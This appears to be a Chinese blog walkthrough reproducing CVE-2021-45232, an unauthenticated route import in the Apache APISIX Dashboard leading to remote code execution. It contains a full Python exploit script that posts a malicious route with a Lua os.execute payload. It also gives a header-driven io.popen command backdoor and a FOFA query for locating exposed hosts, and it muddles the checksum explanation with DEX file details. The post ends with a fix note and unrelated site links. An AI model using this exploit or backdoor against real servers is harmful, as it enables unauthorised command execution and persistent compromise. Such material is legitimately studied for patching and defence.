00x1漏洞环境

Apache APISIX Dashboard 2.7 - 2.10 版本受到影响

通过git拉取在docker搭建环境

git clone https://github.com/apache/apisix-docker

注意这里需要把yml文件改成2.7版本

然后用docker搭建就可以了

00x2 攻击过程

环境跑起来后成功访问到9000登录界面

这里的未授权访问指的是对下面两个接口没有鉴权处理

/apisix/admin/migrate/export
/apisix/admin/migrate/import

用burp抓个包,访问export接口,可以看到返回了路由信息

这里不光光能返回路由的配置信息,还能import导入路由配置,

首先它的返回路由信息是一个Json,(因为这里的路由配置的script部分是我在复现的时候import的payload)

我们可以在官方文档里看到这些属性的作用

官方文档

如果我们在后台直接添加带有payload的路由配置,看看它会不会执行命令

直接访问创建的接口emlknW,这里需要访问管理端口9080,不是9000

可以看到成功挂载了 852文件,命令执行成功

那么要如何通过访问import接口来给他导入配置呢?

00x3 漏洞分析

通过参考网上别人的分析,因为是go语言 没学过就不多分析了

后端代码就是未对两个接口访问做鉴权,然后我们可以通过export得到的路由配置

自己构造一个恶意的路由配置,这里命令执行在script属性里面,然后通过构造好的配置import到里面去。

看代码分析知道可以有修改或者新建路由配置来完成。

关键的一点这里传入的配置需要计算文件的checksum

简答了解一下:

checksum(校验和)是DEX位于文件头部的一个信息,用来判断DEX文件是否损坏或者被篡改,它位于头部的0x08偏移地址处,占用4个字节,采用小端序存储。

这里给出朋友改的代码:

import random, string, json, zlib, requests

"""
"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n
file:close() \n ngx.say(output)q",
我的理解是 这是通过lua语言写的通过请求头带上的cmd: rce,来替换'cmd'部分来执行命令
""" eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
"script": "os.execute('touch /tmp/mytest')",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
} # 将数据进行checksum
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big") def import_apix(url, data):
data = json.dumps(data).encode() # 将数据进行转换为json存储到文件中,后面需要以文件上传
checksum = calc_crc(data) # 进行checksum ,然后添加到数据后面 files = {"file": ("data", data + checksum, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False)
# proxies=proxies 这里是通过post去发包,走代理proxies
if resp.json().get("code", -1) == 0:
return True
else:
return False """
这里定义的proxies为本地代理,这样运行时候就能用burp抓包了
"""
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"
} # 生成一个随机路径
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) if __name__ == '__main__': uri = random_str()
print(uri)
eval_config["Routes"][0]["uris"] = ["/" + uri]
eval_config["Routes"][0]["name"] = uri
print(eval_config, end='\n')
if import_apix('http://192.168.255.128:9000', eval_config):
print("attack success")
print("uri is: " + "/" + uri)
else:
print("attack error")

我们运行抓包看看,后面这个应该就是+上的checksum了,可以看到成功导入了配置

我们在py里输出了随机生成的命名uri

直接去访问该API

回到环境看看,成功RCE了

在github上有大佬写的是带回显的可以执行多次命令的接口配置,可以看看

https://github.com/wuppp/cve-2021-45232-exp#readme

代码关键就是

 "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
           

我的理解是 这是通过lua语言写的通过读取请求头带上的cmd: rce,来替换'cmd'部分来执行命令

所以import这种配置成功后,就可以这样执行命令了

不得不说这更加有持久性 evil~

在fofa里面可以这样来搜索,使用该组件的主机

title="Apache APISIX Dashboard"

00x4 修复方案

更新到最新版本,新版本代理做了鉴权处理

参考:

https://www.cnblogs.com/xiaozhi789/articles/15763472.html

CVE-2021-45232 Apache APISIX 从未授权访问到RCE的更多相关文章

  1. Zookeeper未授权访问

    l 漏洞名称: zookeeper未授权访问 l  漏洞影响版本: zookeeper l  漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...

  2. WordPress Backdoor未授权访问漏洞和信息泄露漏洞

    漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...

  3. WEB中间件--Jboss未授权访问,

    1,Jboss未授权访问部署木马 发现存在Jboss默认页面,点进控制页 点击 Jboss.deployment 进入应用部署页面 也可以直接输入此URL进入 http://www.ctfswiki. ...

  4. zookeeper未授权访问漏洞

    1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...

  5. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  6. ZooKeeper通过ACL修复未授权访问漏洞

    默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...

  7. jboss 未授权访问漏洞复现

    jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...

  8. 王院生:Apache APISIX 微服务网关极致性能架构解析

    2019 年 10 月 27 日,又拍云联合 Apache APISIX 社区举办 API 网关与高性能服务最佳实践丨Open Talk 杭州站活动,Apache APISIX PPMC 成员王院生做 ...

  9. UCloud-201809-001:Redis服务未授权访问漏洞安全预警

    UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间  2018-09-11更新时间  2018-09-11漏洞等级  HighCVE编号 ...

随机推荐

  1. Spring Cloud服务离线

    服务离线,即某服务不能对外提供服务了.服务离线的原因有两种:服务下架与服务下线.这两种方案都是基于Actuator监控器实现的. 服务下架:将注册到Eureka Server中的Eureka Clie ...

  2. mysql 将A表的a字段赋值给B表的b字段

    A.B为2个不同的表,将A表的a字段赋值给B表的b字段:update B set b = (select a from A where A.id = B.id) where B.b is null 注 ...

  3. js 时间戳转换为年月日时分秒的格式

    <script type="text/javascript"> var strDate = ''; $(function(){ // 获取时间戳 var nowDate ...

  4. 使用AOP思想实现日志的添加

    //1.创建日志表syslog------->创建日志的实体类--------->在web.xml中配置监听 <listener>     <listener-class ...

  5. 解决PLSQL查不到带中文条件的记录

    原因: PLSQL乱码问题皆是ORACLE服务端字符集编码与PLSQL端字符集编码不一致引起.类似乱码问题都可以从编码是否一致上面去考虑. 解决: 1. 查询Oracle服务端字符集编码,获取NLS_ ...

  6. 【力扣】剑指 Offer 25. 合并两个排序的链表

    输入两个递增排序的链表,合并这两个链表并使新链表中的节点仍然是递增排序的. 示例1: 输入:1->2->4, 1->3->4输出:1->1->2->3-> ...

  7. python安装imblearn(PackageNotFoundError: ''Package missing in current channels")

    1.imblearn包在anaconda中是没有的,需要在命令行下自行安装,以下两个命令任选一个: 1. conda install -c glemaitre imbalanced-learn2. p ...

  8. iOS 实现简单的界面切换

    以下是在iOS中最简单的界面切换示例.使用了多个Controller,并演示Controller之间在切换界面时的代码处理. 实现的应用界面: 首先,创建一个window-based applicat ...

  9. CF336A Vasily the Bear and Triangle 题解

    Content 一个矩形的顶点为 \((0,0)\),其对顶点为 \((x,y)\),现过 \((x,y)\) 作直线,分别交 \(x\) 轴和 \(y\) 轴于 \(A,B\) 两点,使得 \(\t ...

  10. CF975A Aramic script 题解

    Content 定义一个字符串的根为字符串中不同种类的字符按字典序非降序排列得到的字符串.例如 \(\texttt{aaa}\) 的词根为 \(\texttt{a}\),\(\texttt{babb} ...